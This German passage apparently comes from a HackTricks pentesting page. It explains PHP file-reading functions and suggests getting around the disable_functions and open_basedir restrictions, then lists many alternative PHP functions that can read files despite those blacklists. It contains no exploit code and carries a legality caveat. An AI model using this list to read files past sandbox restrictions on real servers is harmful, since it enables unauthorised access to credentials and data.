Um auf das Dateisystem zuzugreifen und Dateien zu lesen, können Sie die folgenden Funktionen in PHP verwenden:

  • file_get_contents(): Diese Funktion liest den Inhalt einer Datei in eine Zeichenkette und gibt sie zurück.

  • fopen(), fread(), fclose(): Diese Funktionen ermöglichen das Öffnen einer Datei, das Lesen ihres Inhalts und das Schließen der Datei.

Es ist wichtig zu beachten, dass der Zugriff auf das Dateisystem durch die PHP-Konfiguration eingeschränkt sein kann. Die disable_functions-Direktive in der php.ini-Datei kann bestimmte Funktionen deaktivieren, um die Sicherheit zu erhöhen. Wenn eine der oben genannten Funktionen deaktiviert ist, können Sie möglicherweise nicht auf das Dateisystem zugreifen.

Um diese Einschränkungen zu umgehen, können Sie versuchen, die open_basedir-Einschränkung zu umgehen. Die open_basedir-Direktive legt fest, welche Verzeichnisse PHP zum Öffnen von Dateien verwenden darf. Wenn Sie eine Schwachstelle finden, die es Ihnen ermöglicht, die open_basedir-Einschränkung zu umgehen, können Sie auf Dateien außerhalb des zugelassenen Verzeichnisses zugreifen.

Es ist wichtig zu beachten, dass das Umgehen von Sicherheitsmaßnahmen wie der disable_functions-Direktive oder der open_basedir-Einschränkung illegal sein kann, es sei denn, Sie haben die ausdrückliche Erlaubnis des Eigentümers des Systems.

file_exists
-- file_get_contents
file
fileatime
filectime
filegroup
fileinode
filemtime
fileowner
fileperms
filesize
filetype
glob
is_dir
is_executable
is_file
is_link
is_readable
is_uploaded_file
is_writable
is_writeable
linkinfo
lstat
parse_ini_file
pathinfo
readfile
readlink
realpath
stat
gzfile
readgzfile
getimagesize
imagecreatefromgif
imagecreatefromjpeg
imagecreatefrompng
imagecreatefromwbmp
imagecreatefromxbm
imagecreatefromxpm
ftp_put
ftp_nb_put
exif_read_data
read_exif_data
exif_thumbnail
exif_imagetype
hash_file
hash_hmac_file
hash_update_file
md5_file
sha1_file
-- highlight_file
-- show_source
php_strip_whitespace
get_meta_tags
Lernen Sie AWS-Hacking von Null auf Held mit htARTE (HackTricks AWS Red Team Expert)!

Andere Möglichkeiten, HackTricks zu unterstützen: